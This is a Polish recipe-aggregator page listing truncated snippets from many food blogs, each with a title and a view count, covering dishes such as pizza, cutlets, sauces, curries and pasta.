serową wkładamy do kubka blendera i blendujemy aż uzyska konsystencję gładkiej śmietany. Na podpieczone ciasto wylewamy masę serową i układamy rydze. Pieczemy ok 20 min. Podajemy z surówką lub sosami

Gotowanie jest łatwe
Piekielnie ostra pizza kiełbasą, porem, szczypiorkiem i cebulą 159

Lubię ostre jedzenie. Czasami nawet bardzo ostre. A tego dnia wybór padł na pizzę. Tak więc mamy tutaj klasyczne cienkie ciasto, piekielnie ostry sos do pizzy z Carolina Reaper oraz interesujące połączenie dodatków, jak kiełbasa, por i szczypiorek. Smaczne wyzwanie dla amatorów ostrego jedzenia

Milion Smaków
Kotlety z mięsa mielonego z papryką i żółtym serem 243

przyprawiam solą i pieprzem . Dokładnie mieszam . Następnie formuję kotlety, obtaczam w bułce tartej i smażę na wolnym ogniu z każdej strony aż się zarumienią . Ja zajadałam z ziemnikami i sosem pieczarkowym :) Smacznego

Domowa Kuchnia u Mamy
Karkówka pieczona w sosie pomidorowym 671

Karkówka pieczona w sosie pomidorowym z cebulką to fajny pomysł na mięso do obiadu, które nie wymaga zbyt dużo pracy, a wychodzi smakowite.    Składniki: 1 kg karkówki sól, pieprz mąka do obtaczania 2 cebule 600 ml wody 1 kostka rosołowa 3 łyżki koncentratu pomidorowego 1 łyżka kwaśnej śmietany 1 łyżka mąki 1 łyżeczka cukru 3 ząbki czosnku słodka

talerz przyjemności
Kotlety jajeczne 1192

masy dodaje się surowe jajko oraz ulubione przyprawy i zioła.  Takie "kotlety mielone" bez mięsa szczególnie polecam wegetarianom oraz dzieciom. Kotlety jajeczne podaje się najczęściej z domowymi sosami oraz najróżniejszymi sałatkami i surówkami .   Lubicie kotlety z jajek

AniaGotuje.pl
Szybkie placuszki z cukinii 194

Szybkie placuszki z cukinii to wyśmienity dodatek do dań obiadowych z mięsa. Można również podać jako samodzielne danie z jogurtem, sosem tzatziki czy czosnkowym. Składniki: mała cukinia jajko 3/4 szklanki mąki pół szklanki mleka sól, pieprz, papryka wędzona Przygotowanie Cukinię ścieramy na tarce o małych oczkach, posypujemy solą i odstawiamy na 15 minut. Następnie odciskamy z niej sok. Mąkę, jajko

e-PrzepisyKulinarne
Pasta z dyni piżmowej i tahiny według Yotama Ottolenghiego 155

Wprost uwielbiacie ten przepis na pieczoną dynię z sosem tahini . Zawsze otrzymuję od Was masę pozytywnych komentarzy, ilekroć przypomnę to danie na Facebooku. I tym razem się nie zawiedziecie, bo pasta z dyni piżmowej i tahiny z dodatkiem greckiego jogurtu i czosnku bazuje na podobnej kompozycji smakowej. Orzechowa i lekko słodkawa to według mnie idealna pasta kanapkowa na jesień. Przepis

Chilli Czosnek i Oliwa
Pizza bianca z kurkami 377

Pizza z kurkami na białym sosie (bianca) to typowo jesienna odmiana pizzy. Choć uwielbiam tradycyjną pizzę, to przyznam, że czasami mnie po prostu nudzi – za to ta smakuje zupełnie inaczej. Warto wykorzystać ostatnie kurki i skusić się na kawałek jesiennej kurkowej pizzy z kieliszkiem białego, wytrawnego wina – pasuje do niej doskonale! Pizza bianca z kurkami – ciasto

Poezja smaku
Bezglutenowe domowe łazanki na Światowy Dzień Makaronu 200

Postanowiłam przygotować coś na Światowy Dzień Makaronu, z jednej strony nie chciałam, żeby był to zwykły bezglutenowy makaron z sosem pomidorowym, czy coś podobnego. Z drugiej, okazało się, że niewiele mam w lodówce, nie jestem ostatnio zbyt zorganizowana, bo zaczęłam nową pracę i jeszcze się nie przyzwyczaiłam do tego, że mam dużo mniej czasu. Zrobiłam przegląd szafek, słoików, lodówki

Quinoa Raz!
Serowe ravioli z kurczakiem w sosie kremowym 221

jednocześnie coś szybkiego? To te danie jest dla ciebie! Przepyszne serowe ravioli z nadzieniem serowym, a do tego filet z kurczaka z pomidorami suszonymi i oliwkami w kremowym sosie serowym! Mniam. Na samą myśl ślinka mi cieknie. Produkty użyte: Składniki: 2 pojedyncze filety z kurczaka 1 opakowanie makaronu Ravioli al formagio Melissa Primo Gusto 6-7 pomidorów suszonych Melissa Primo

Gotuj z Mąką
Kapusta pieczona w pomarańczach 205

zewnętrznych liści i drobno poszatkować. W dużej misce wymieszać sok wyciśnięty z 2 pomarańczy, syrop klonowy, marmoladę pomarańczową, oliwę oraz sól. Dodać poszatkowaną kapustę i wymieszać, aby pokryła się sosem.  Białą kapustę przełożyć na blachę do pieczenia lub do naczynia żaroodpornego i wstawić do piekarnika nagrzanego do 200 stopni. Piec przez 15 minut, po tym czasie zamieszać i piec

Codzienne Gotowanie
Polędwiczki wieprzowe w sosie paprykowym 186

kostkę, chwilę razem przesmażamy. Następnie warzywa podlewamy bulionem i doprawiamy do smaku solą oraz pieprzem, doprowadzamy do wrzenia. 3. Do naczynia żaroodpornego przekładamy polędwicę i  zalewamy ją sosem warzywnym, przykrywamy szczelnie i wkładamy do nagrzanego piekarnika do 180 C. na ok. 40-45 minut.  Podajemy z kaszą, ryżem lub ziemniakami

Apetyczna babeczka
Placki z kaszy gryczanej 166

ugotowanej i odcedzonej kaszy dodajemy pozostałe składniki. Całość dokładnie mieszamy, przyprawiamy i formujemy placki, które smażymy z obu stron, do zrumienia. SMACZNEGO! :) Gryczane placki świetnie komponują się z  sosem kurkowym . Polecam również spróbować  placuszków z marchewki

Bez Cebuli
Niesamowity gulasz wołowy – z kociołka, flambirowany 286

wysokim płomieniem. Odmierzcie najpierw 50ml, wlejcie do środka i podpalcie. Gdy się wypali – wymieszajcie zawartość kociołka i powtórzcie operację z kolejną 50-tką brandy. Gdy wszystko się wypali a sos i składniki skarmelizują, wlewamy ciepły wołowy bulion – tyle żeby zakrył mięso i pozostałe składniki – garnek zamykamy i przekładamy wszystko na środkowy poziom piekarnika. Tej wielkości kostkom mięsa potrzeba w piecu

Karo in the Kitchen
Przepis #85 Makaron w sosie jogurtowo-szpinakowym 189

między czasie gotujemy makaron według przepisu. Podduszony szpinak zostawiamy na około 10 min do wystudzenia. Następnie dodajemy jogurt i doprawiamy  - całość podgrzewamy. Podajemy z ugotowanym makaronem.   Sos smakuje bardzo kremowo i delikatnie. Szpinak lubi czosnek, dlatego jest on jednym z podstawowych składników tego dania. Można także dodać zeszkloną cebulkę i podsmażony boczek. Smacznego

Health-Fit-Life
KETO MAJONEZ DOMOWY Z MCT (keto, LCHF, paleo, optymalny, bez glutenu i laktozy) 358

jakich nam zależy Pamiętajcie tylko by uzbroić się w cierpliwość bo majonez trzeba długo ubijać żeby zrobił się puszysty. Ponadto należy przestrzegać kilku złotych zasad aby nie powstał rzadki sos majonezopodobny : – wszystkie składniki muszą być w tej samej temperaturze – żółtka muszą być idealnie oddzielone od białka – tłuszcz należy dolewać po kropelce. Składniki: 2 żółtka surowe

Ola la LCHF
Polska. Nasza kuchnia w nowej odsłonie 203

etnicznymi. Przy tym wszystkim zachowała umiar, który bardziej zachęca do gotowania niż odstrasza, nawet jeżeli proponuje nam zrobienie pyz z jagnięciną i kotletów z sarniny. Te ostatnie podane z sosem śliwkowym i utłuczonymi ziemniakami mają wciąż urok niedzielnego obiadu u babci, chociaż… jak często jadaliśmy sarnę u naszych babć? Książka jest podzielona na 9 rozdziałów. W Śniadaniach i pieczywie

GRUBY WAŁEK
UDKA KACZKI W SOSIE PIECZARKOWYM 309

wolnym ogniu. Pieczarki oczyścić,pokroić w plasterki i dodać do mięsa.Dusić razem ok 1,5 godziny,aż mięso będzie miękkie.Jeśli zajdzie potrzeba podczas duszenia uzupełniamy bulionem.Pod koniec sos możemy zagęścić 1 łyżką mąki,doprawić solą oraz pieprzem

Niespełnione zdolności kulinarne
Parówki w cieście drożdżowym 230

koniec ciasto posmarować roztrzepanym jajkiem i posypać sezamem, ziarnami słonecznika oraz siemieniem lnianym. Piec około 30 minut w 195ºC (do zarumienienia się ciasta). Najlepiej podawać na ciepło, np. z sosem czosnkowym lub pomidorowym.  Od lewej strony: ciasto przed i po wyrośnięciu Nacięcie ciasto z parówką i farszem Parówki przed pieczeniem Pomysł na przepis STĄD

Ugotować
Prosta Zapiekanka Pomidorowa Z Kurczakiem I Fetą 214

przesmażamy na oliwie/oleju. 3. Na tej samej patelni podgrzewamy pomidory, dodajemy przeciśnięty czosnek, sól, pieprz, posiekane listki bazylij, pokruszoną większą cześć fety oraz śmietankę. Następnie mieszamy makaron z tym sosem oraz wcześniej podsmażonym kurczakiem. 4. Naczynie do zapiekania smarujemy oliwą, wykładamy makaron, na wierzch wykładamy pozostałe kawałeczki fety i zapiekamy całość w 180 stop przez około 15-20 minut. Podajemy

Gotowanie...to proste !
Cała prawda o ziemniakach 143

m.in fosfor, magnez, miedź, cynk oraz mangan. Kartofle wspomagają trawienie oraz likwidują zaparcia.  Reasumując - ziemniaki złą sławę zasługują tylko i wyłącznie dodatkom, z jakimi je podajemy czyli np. sosom lub smażeniu ich w głębokim tłuszczu! Spożywajmy zatem ziemniaki w połączeniu z warzywami lub posypane ziołami - unikniemy zbędnych kalorii oraz dostarczymy naszemu organizmowi niezbędnych witamin

MintTaste
Smakowe oliwy 216

Przedstawiam Wam prosty i szybki przepis na smakowe oliwy, które można dodawać do sałatek, pieczywa czy makaronu... Doskonale sprawdzają się jako dodatek zamiast sosów do domowej pizzy - zapraszam również do zapoznania się z przepisem na "dietetyczną włoską pizzę" ( link tutaj ). Oliwy jakie możecie wykorzystać to oliwy tłoczone na zimno, extra virgin z pierwszego tłoczenia czy np. olej lniany, który

MintTaste
Faszerowana cukinia przepis 193

dodajemy do mięsa, papryki i cebuli; -następnie na patelnię dodajemy przeciery pomidorowe lub zmiksowane pomidory wraz z posiekanym drobno czosnkiem oraz dodajemy oregano i bazylię – po 2 minutach dodajemy sos do naszego garnka z farszem; -cały farsz mieszamy i faszerujemy nim przekrojone i wydrążone cukinie oraz posypujemy starkowanym lub pokrojonym serem mozzarella. Cukinię wsadzamy do rozgrzanego piekarnika na 170 stopni

MintTaste
Złote zasady przy swiątecznym stole 157

metabolicznej przez wspomniany alkohol. Ogranicz w miarę możliwości ilość spożywanych potraw – jeżeli chcesz spróbować wszystkich potraw na stole – nakładaj sobie małe porcje. Unikaj majonezu, a przygotuj aromatyczne sałatki z sosami typu winegret z dodatkiem np. oleju lnianego . Wykorzystaj świąteczny czas po to, aby porządnie wypocząć, a przy okazji zaplanuj sobie wypoczynek aktywny – przejdź się na długi spacer, pooddychaj świeżym powietrzem

MintTaste
Seler naciowy - właściwości 237

błonnika przy wyjątkowo małej kaloryczności. Seler naciowy polecam wszystkim, (nie tylko tym, którzy są na diecie odchudzającej), aby na stale gościł w naszych potrawach - można go dodawać do zup, sosów, soków i napoi oraz oczywiście sałatek - niebawem przepis na pyszną sałatkę, w której właśnie główną rolę oprócz jarmużu zajmuje właśnie seler naciowy! NA ZDROWIE

MintTaste
Kopytka ze szpinakiem bez ziemniaków 189

wrzącą i osoloną wodą i gotujemy tak długo, aż wypłyną (po wypłynięciu gotujemy jeszcze przez ok.10minut); - po wyjęciu kopytka hartujemy w zimnej wodzie. Kopytka można podawać z sałatką, mięsem, sosem jogurtowym, kozim itp. itd. Nadają się jako dodatek praktycznie do każdego dania!  SMACZNEGO

MintTaste
Sałatka z bobem i razowym makaronem 171

bobem i warzywami; - makaron mieszamy z przecierem pomidorowym oraz posypujem y pokrojoną wcześniej w kostkę moz zarellę - wszystko dodajemy do naszej sałaty z bobem; - na koniec zalewamy sała tkę sosem winegret i dekorujemy parmezanem

MintTaste
Bezglutenowa tortilla - przepis 188

placek miksujemy na gładką masę następnie smażymy placek na suchej patelni bez tłuszczu; - placek faszerujemy sałatą i kurczakiem, zamykamy w pół i posypujemy świeżą rukolą. Polecam dodać do środka sos jogurtowo-czosnkowy - przepis znajdziesz -> tutaj . SMACZNEGO

MintTaste
Krem z pomidorów i cebuli 194

dodaj na cebule sól i pieprz- całość dodaj do wywaru z pomidorami; - na tej samej patelni podsmaż obrane pomidory wraz z obranymi ząbkami czosnku, aż zmiękną i powstanie gęsty "sos" - całość dodaj również do wywaru z pomidorami i cebulą; - gotuj wszystko jeszcze przez ok.10 minut, następnie wszystko blenduj na gładką masę, dopraw oregano oraz jeżeli solą morską i świeżym pieprzem

MintTaste
Makaron z cukinią i kozim serem 192

której smażony był kurczak podsmaż pokrojoną cukinię (również dopraw), dodaj usmażonego kurczaka i na koniec opakowanie serka koziego - wszystko mieszaj, aż składniki się połączą; - na ugotowany makaron dodaj sos z kurczaka, cukinii i koziego serka; - na wierzch posyp starty parmezan oraz oregano. SMACZNEGO

MintTaste
Czarny czosnek pasta do kanapek i jego właściwości 215

lekko dymny słodko słony smak. Mnie przypomina pastę z trufli.  Jest cennym źródłem minerałów głównie potasu, magnezu, wapnia, żelaza, fosforu, selenu, siarki, cynku. Pastą można smarować kanapki, przyprawiać sosy, dipy i sałatki.  Dokonały do mięs i dań wegetariańskich. Sprawdza się także w deserach i w czekoladzie. Jadłam czekoladę z czosnkiem. Podchodziłam bardzo ostrożnie i nieco obawiałam się smaku

AZgotuj!
Grzyby gatunkami. Wodnicha późna 1028

czyli grzyb o nieokreślonym zagrożeniu. Na ostatnim grzybobraniu nie udało mi się ich nazbierać ponieważ wszystkie znalezione okazy były już zamieszkane. Szkoda bo liczyłam na pyszny sos wodnichowy. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Gulasz drobiowy z papryką z multicookera 791

ustawiając regulator ciśnienia w pozycji zamkniętej. Wybrać program "Duszenie - Stew" i ustawić czas na 25 minut. Po tym czasie odparować urządzenie i zdjąć pokrywkę. Do kremówki wlać 2 łyżki sosu wymieszać i całość wlać do gulaszu. Więcej informacji na temat Multicooker Camry CR 6408 tutaj

Ala piecze i gotuje
Curry z dynią i ananasem 201

kurkumę, paprykę, pastę curry, oraz bulion lub wodę. Wymieszać i dodać dynię i paprykę a po kilku minutach czerwoną soczewicę. Gotować 15 minut aż soczewica się rozpadnie tworząc aksamitny sos. Na koniec dodać ananasa, sok i skórkę z limonki, masło orzechowe i szpinak. Wymieszać i podawać na ciepło posypane orzeszkami nerkowców. Lubisz moje wpisy? Bądź na bieżąco na Facebooku

Ugotowane pozamiatane
Szaszłyki z kurczaka i warzyw 223

warzyw: Marynata: 1 łyżka posiekanych ziół, np. natki pietruszki lub bazylii, tymianku, rozmarynu 1/3 łyżeczki świeżo mielonego czarnego pieprzu szczypta soli morskiej 1 łyżka syropu klonowego 1 łyżka sosu sojowego 2 łyżki soku z cytryny 1 łyżka oleju rzepakowego Na 4 szaszłyki: 2 ćwiartki kurczaka bez skóry i kości mała cukinia 1 mała cebula czerwona papryka 4 pieczarki 6 patyczków

Damsko-męskie spojrzenie na kuchnię
Kapsalon – wyśmienity fastfood 272

serem. Foremki wstawiamy do piekarnika nagrzanego do 180-200 stopni na ok. 10 min. do momentu rozpuszczenia się sera. Po tym czasie wyjmujemy, przykrywamy surówką z warzyw i polewamy sosem czosnkowym. kapsalon Artykuł Kapsalon – wyśmienity fastfood pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Shepherd’s pie, czyli zapiekanka pasterska 335

gotowe, a warzywa nie zmiękną. Do 1/3 szklanki wody dodajemy koncentrat pomidorowy i dokładnie mieszamy. Warzywa z mięsem doprawiamy koncentratem, bazylią, pieprzem ziołowym oraz solą. Mieszamy wszystko i redukujemy sos. Przekładamy mięso z warzywami do naczynia żaroodpornego. Do przestudzonych ziemniaków dodajemy masło klarowane lub olej kokosowy i rozgniatamy je na pure. Możemy je też przecisnąć przez praskę. Masę ziemniaczaną układamy

Dieta bez mleka
Przekąska na Halloween - mini pizza duszki 192

blendujemy lub przecieramy przez sito. 5.  W ciasto uderzamy pięścią i rozwałkowujemy. Wycinamy koła o średnicy ok 5 cm. Układamy na blaszce wyłożonej papierem do pieczenia. 6. Rozsmarowujemy sos pomidorowy, układamy serowego duszka i dekorujemy przy pomocy  oliwek. 7. Piekarnik nagrzewamy do max temperatury ( u mnie 250 °C ) i pieczemy ok 10 min. ZAPRASZAM NA FILM  Jeśli

Atlas Smaków
Makaron z puree dyniowo – paprykowym i szynką parmeńską 194

paprykę. Do warzyw dodać puree dyniowo-paprykowe i szynkę parmeńską. Całość gotować przez 5-7 minut. W międzyczasie ugotować makaron al dente. Gdy makaron będzie gotowy wymieszać go z sosem i 2-3 łyżkami wody z makaronu. Całość doprawić do smaku solą i pieprzem

Kuchnia Bon Appetit
Pieczona wołowina z warzywami 170

Następnie wkładam do piekarnika. Piekę ok 50 min w 180 dtopniach. Kaszę jęczmienną gotuję tak jak w instrukcji na opakowaniu. Upieczone mięso z warzywami podaję z kaszą jęczmienną polaną sosem z mięsa. Pyszne danie

Gotowanie Patki
Tarta z boczniakami i serem pleśniowym 271

śmietanki 30% - 36% 100 g sera z niebieską pleśnią 100g startego żółtego sera lub sera mozzarella pokrojonego w plasterki garść szczypiorku sól pieprz szczypta czerwonej papryki łyżka sosu sojowego Sposób przygotowania: Ciasto kruche: Jajko roztrzepujemy i łączymy z zimną wodą.  W malakserze mieszamy mąkę, masło, czosnek niedźwiedzi i sól.  Dodajemy roztrzepane jajko z wodą i miksujemy przez

Kuchenny Double Trouble
Kimchi bokumbap, czyli kimchi smażone z ryżem 248

kimchi 1/3 szklanki kwasu z kimchi mała cebula 1 łyżka pasty czosnkowejLINK lub 2 ząbki czosnku 1/4 szklanki wody 1 łyżka oleju sezamowego 3 szklanki ugotowanego ryżu 2 łyżki sosu sojowego (lub tamari) szczypiorek lub cebula dymka 1 łyżka prażonych ziaren sezamu (lub więcej) Wykonanie: W pierwszym kroku przygotowujemy świeżo prażone ziarna sezamu. Na suchej rozgrzanej patelni wsypujmy ziarna

Lamarida.pl
Świnki w kocykach 497

Recenzja książki tutaj ( klik ). W oryginalnym przepisie autorka użyła kiełbasek, ja miałam w domu parówki, więc u mnie taka wersja. Świnki ciekawe w smaku, najlepiej smakują z ketchupem lub sosem np. czosnkowym. Najbardziej do gustu przypadły mojemu synowi. Najlepsze są pierwszego dnia zaraz po upieczeniu, ale na drugi dzień też smakowały nieźle. Można je oczywiście odgrzać w piekarniku. W wykonaniu

kruche babeczki
Potrawka z kukurydzą i dynią. 219

Gotujemy do miękkości. Dodajemy groszek i kukurydze. Dolewamy wodę i doprawiamy do smaku przyprawami. Mąkę mieszamy z kilkoma łyżkami zimnej wody, aż nie będzie grudek i wlewamy do sosu. Gęstość ustalamy według swoich upodobań. Gotujemy kilka minut. Podajemy z ziemniakami, kaszami lub z pieczywem. Smacznego

Radość kipiąca uśmiechem.
sos z kurkumy z czerwona kapusta 212

Wykonanie: Kapustę opłukać i poszatkować ,zagotować wodę i zalać kapustę ,pozostawić we wrzątku pod przykryciem na około 20-30 minut .Po tym czasie odcedzić. Dodać cebulę ,wszystko wymieszać z sosem

w mojej kuchni
Makaron z puree z dyni i masłem truflowym 207

puree z dyni i masłem truflowym zwieńczył moją sobotę – kolacja była przepyszna Zobacz też: Świeże trufle – najdroższe grzyby świata. Co z nich zrobić? Makaron z czarnymi truflami w sosie śmietanowo-serowym Przepis na makaron z puree z dyni i masłem truflowym Drukuj przepis Porcji: 3-4 Czas gotowania: 15 minut Składniki - 300 g puree z dyni (z odrobiną cebulki

Kuchnia Bazylii
Domowy majonez 185

Hej! Dzisiaj proponuję Wam samodzielne zrobienie majonezu. Pracochłonne? Niewykonalne w domu? Niesmaczne? Nic z tych rzeczy. Dokładnie wszystko odwrotnie! Potrzebujemy: Czytaj więcej »

Tylko pysznie
7 odsłon mazowieckiego ziemniaka w Młynie Gąsiorowo 176

produktem był bardzo popularny na tych terenach ziemniak.  Rozpoczęliśmy sałatką ziemniaczaną z ogórkiem kiszonym. Następnie otrzymaliśmy ziemniaka w aromatycznym rosole z plastrem gęsi i szczypiorkiem Placki ziemniaczane z sosem kurkowym. Cepeliny z kapustą i grzybami polane cebulką na maśle. Babka ziemniaczana (rejbak kurpiowski) pieczona w piecu chlebowym Słynne przecieraki ze skwarkami i wiejskim twarogiem. A na koniec wspomnienie dzieciństwa

królestwo garów
PLACKI ZIEMNIACZANE Z KISZONA KAPUSTĄ + FILMIK 168

pieprz. Masę dokładnie wyrabiamy.  Na rozgrzanym oleju smażymy niewielkie placki, aż się przyrumienią z jednej i drugiej strony.  Podajemy ciepłe z kleksem śmietany i koperkiem lub sosem i pieczenią.  Smacznego.           Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
Pulpeciki w sosie pomidorowym 185

garczku zagotować 3 cm  wody i po usmażeniu pulpecików przełożyć je do garczka, podgotować trochę i wlać passatę oraz ketchup (opcjonalnie). Całość gotować na małym ogniu do zredukowania sosu. Doprawić do smaku cukrem, solą, pieprzem i ziołami. Podawać z ulubionym makaronem. SMACZNEGO

Malinowo w kuchni
Roladki pizzowe 234

strony. Następnie kroimy roladę w kawałki. Układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy w nagrzanym do 200 stopni piekarniku ok. 20 min  Roladki podajemy z ketchupem lub sosem czosnkowym. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Orientalne Curry z Makaronem Lubella 190

wody Olej do smażenia 2 łyżki drobno posiekanej natki pietruszki 1 łyżka czosnku granulowanego 1 łyżeczka papryki chilli 2 łyżki curry Pieprz i sól do smaku 2 łyżki sosu sojowego ciemnego Przygotowanie:  Filety z kurczaka dokładnie myję, osuszam, kroję w kostkę. Doprawiam przyprawami. Na patelni rozgrzewam olej rzepakowy. Dodaję mięso. Smażę na rumiano. Następnie dodaję mrożoną chińską mieszankę warzyw

Gotowanie Patki
Domowa kostka rosołowa / pasta bulionowa 632

Czytaliście kiedyś skład kostek rosołowych albo sosów " w torebce " dostępnych na sklepowych półkach ? To przeczytajcie ! Możecie się mocno zdziwić, kiedy dowiecie się, że kostka rosołowa składa głównie z....  soli, maltodekstryny, tłuszczu palmowego, a suszone warzywa i mięso to tylko niewielki procentowo dodatek. Przestaliśmy więc jakiś czas temu kupować gotowe kostki rosołowe i zaczęliśmy robić je sami. Taniej, smaczniej

Kulinaria - potrawy z różnych stron świata
Tosty francuskie ze śliwkami flambirowanymi w whisky 191

drugiej patelni * rozgrzej 1 łyżkę masła, podsmaż na nim śliwki – do momentu aż zmiękną, dopraw cynamonem. Zwiększ płomień, dolej whisky i podpal. Tosty podawaj ze śliwkami oraz powstałym sosem i z jogurtem naturalnym. Smacznego ! * Ważne by patelnia nie była za wysoka. Łatwiej będzie Wam podpalić gruszki. Artykuł Tosty francuskie ze śliwkami flambirowanymi w whisky pochodzi z serwisu Moja Pasja Smaku

Moja pasja smaku
Przecier paprykowy 182

myjemy, usuwamy gniazda nasienne. Kroimy bardzo drobno, ewentualnie miksujemy razem z czosnkiem. Wlewamy do wysokiego naczynia i gotujemy na małym ogniu ciągle mieszając przez ok 20 minut. Dodajemy do sosu resztę składników, mieszamy i gotujemy jeszcze przez następne 25 minut. Mieszamy żeby się nie przypalało. Jeszcze ciepłe nalewamy do słoiczków, zakręcamy i pasteryzujemy „na mokro

Kuchnia w czekoladzie
Krokiety z kapustą kiszoną i grzybami 521

patelni na złoty kolor. Krokiety z kapustą kiszoną i grzybami doskonale smakują z barszczem czerwonym. Smacznego. Zapraszam również do skorzystania z innych przepisów: Naleśniki z jabłkami, pomarańczami i sosem karmelowym Zupa grzybowa krem z leśnych grzybów Pikantne Skrzydełka KFC Artykuł Krokiety z kapustą kiszoną i grzybami pochodzi z serwisu Księga Smaku

Księga-Smaku
Drożdżowe z wołowiną i pieczarkami 306

drożdżowe z przeplatającym się farszem z mięsa wołowego i pieczarek. Ciekawe urozmaicenie obiadu lub kolacji, chociaż z powodzeniem można je zabrać na wycieczkę. Bardzo smakowało mi jeszcze ciepłe z sosem czosnkowym. CIASTO DROŻDŻOWE: 3 szklanki mąki pszennej 1 szklanka wody 25 g drożdży świeżych 1/3 łyżeczki soli 1 łyżka oleju rzepakowego FARSZ MIĘSNY: 200 g pieczarek 300 g mięsa mielonego

https:KKuchniaMniam
Ośmiorniczki smażone w oliwie z czosnkiem 305

chyba najprostszy przepis na ośmiorniczki baby. Najpierw podsmażane chwilę na oliwie z czosnkiem. Następnie duszone pod przykryciem z przyprawami w sosie własnym. Delikatne, pyszne..  Jeśli lubisz owoce morza, taki przepis na ośmiorniczki jest dla Ciebie

AniaGotuje.pl
Makaron muszle nadziewane dynią, szpinakiem i trzema serami 217

będą zachwyceni tak podanym makaronem! Już od pewnego czasu chciałam przygotować tego typu zapiekankę, bo zachwycał mnie je wygląd. Możliwości smakowych jest wiele (choćby klasycznie - muszle nadziewane mozzarellą w sosie pomidorowym), jednak zdecydowałam się na bardziej oryginalną wersję wykorzystującą królującą obecnie na targowiskach dynię. Luźno inspirowałam się tym wegańskim przepisem . Uwielbiam łączyć dynię z gorgonzolą, zaś dwa pozostałe występujące

Chilli Czosnek i Oliwa
Pierogi z soczewicą i cieciorką 193

białko, kwas foliowy, żelazo i wapń. Jest niskokaloryczna i bardzo sycąca. Stanowi wyśmienite wypełnienie pierogów. Możesz ją dodawać do zup, sałatek, makaronów i pasztetów. Doskonale komponuje się z sosem czosnkowym i przyprawami. Nie wymaga gotowania. Cieciorka konserwowa Rolnik, zwana także włoskim grochem, to smaczny, zdrowy i sycący dodatek do wielu potraw, zwłaszcza sałatek i dań warzywnych oraz podstawowy składnik oryginalnej

Sama słodycz i szczypta chili
Pasta waniliowa 336

lata. Skład pasty waniliowej (marki Nielsen-Massey): cukier, woda, ekstrakt waniliowy (20%), ziarna wanilii (2%), zagęstnik naturalny: tragant. Jakie ma zastosowanie? Idealna do ciast, kremów, mas cukierniczych, deserów, sosów, a nawet moich ukochanych domowych lodów waniliowych. Wygodna i szybka w użyciu, a co najważniejsze niezwykle aromatyczna. Dla porównania: 1 łyżka = 1 laska wanilii = 1 łyżka ekstraktu waniliowego   Gdzie kupić

Słodkie okruszki
Idealna mizeria 206

śmietany/ jogurtu, dodaj sól i pieprz do smaku oraz łyżkę octu jabłkowego, który wg mnie jest właśnie tym co daje smak mizerii, dodaj posiekany koperek, wymieszaj wszystko razem dodaj sos do ogórka i wymieszaj A do mizerii polecam pieczone nogi kurczaka z ziemniaczkami, na które przepis znajdziesz tutaj oraz tutaj Smacznego

Oka w rosole czyli KaFka gotuje
Jednogarnkowe spaghetti z sosem pomidorowym i mięsem mielonym 224

kostkę pomidory. Całość gotujemy pod przykryciem na wolnym ogniu, od czasu do czasu mieszając przez około 15-20 minut, aż makaron uzyska pożądaną miękkość. Artykuł Jednogarnkowe spaghetti z sosem pomidorowym i mięsem mielonym pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Ciasto czekoladowe z gruszkami. 230

przez ok. 45 minut (do tzw. suchego patyczka). Po upieczeniu wystudzić. W małym rondelku podgrzać śmietanę, dodać do nie j czekoladę i mieszać aż powstanie gładka polewa. Ciasto polać sosem czekoladowym

zadanie-gotowanie
Soczewica w pomidorach 176

Cebula z czosnkiem i marchewką, pomidory, a całość podana z grana padano, świeżo startym oczywiście. Do tego chrupiące lub niekoniecznie pieczywo, czerstwe też smakuje doskonale, można nim wybierać sos z dodatkami. Uwielbiam takie dania! Buon appetito!  Idealny dodatek do dań makaronowych, do ryżu i kasz. Nie odczułam braku mięsa, ale jeśli masz ochotę dodaj mielone mięso lub drobiowe

Moja smaczna kuchnia
Pieczone pod serem ziemniaczki 194

Zapiekane ziemniaczki z żółtym serem to prosty i smaczny dodatek do obiadów. Nie są trudne w przygotowaniu, a podane z sosem grzybowym doskonale mogą być całym posiłkiem. Składniki: ziemniaki sól oliwa ser żółty rozmaryn suszony Przygotowanie: ziemniaki omyj i obierz ze skórki włóż je do garnka, zalej wodą, wsyp łyżeczkę soli gotuj przez 20 minut po 20 minutach odlej ziemniaki

Oka w rosole czyli KaFka gotuje
Kotleciki z soczewicy i ryżu 296

ramach naszej domowej akcji "Resztki. Nie marnujemy" .  Te domowe kotleciki pachnące curry, podane na kolację w pewien nudny szary wtorek, wraz z podsmażonym na oliwie czosnkiem i sosem pomidorowym były strzałem w dziesiątkę. Do tego stopnia, że na  stałe zagościły w naszym codziennym jadłospisie. Ostatnio wylądowały nawet w moim  śniadaniowym pudełku do pracy. ;) Kotlety z soczewicy

U Fiolki
Grillowany kurczak w porach 230

minut, następnie skrop cytryną, przemieszaj i dodaj śmietanę, wszystko podsmażaj na małym ogniu, na sam koniec ułóż grillowane filety kurczaka i przykryj, żeby wszystko się poddusiło i sos się zredukował.  Smacznego

Niezły Młynek
Humus 186

Opis Humus: Humus to popularna potrawa kuchni arabskiej, która pochodzi z Libanu. Jest to zazwyczaj sos dip lub pasta do smarowania. Przygotujemy go z gotowanych i przetartych nasion ciecierzycy lub innych roślin strączkowych. Jest szybki i prosty do przygotowania. Składniki: 200 g ciecierzycy 50 g sezamu 2 łyżki oliwy 1 ząbek czosnku Sok z cytryny Sól, pieprz Opis przygotowania: Zaczynamy

CookMag
Makaron czekoladowy z duszonymi gruszkami w maśle orzechowym, salsą mango i orzechami laskowymi 134

gotuj gruszki jeszcze chwilę. Dodaj masło orzechowe. Orzechy laskowe posiekaj. Mango pokrój w bardzo drobną kostkę i wymieszaj z ziarenkami wanilii. Skrop sokiem z cytryny. Ugotowany makaron podaj z sosem na bazie gruszek i masła orzechowego oraz salsą mango. Całość posyp posiekanymi orzechami laskowymi. Podaj na ciepło.  Smacznego, Klaudia

Mango Papaja
Smażone banany z lodami i kokosowym ciasteczkiem 215

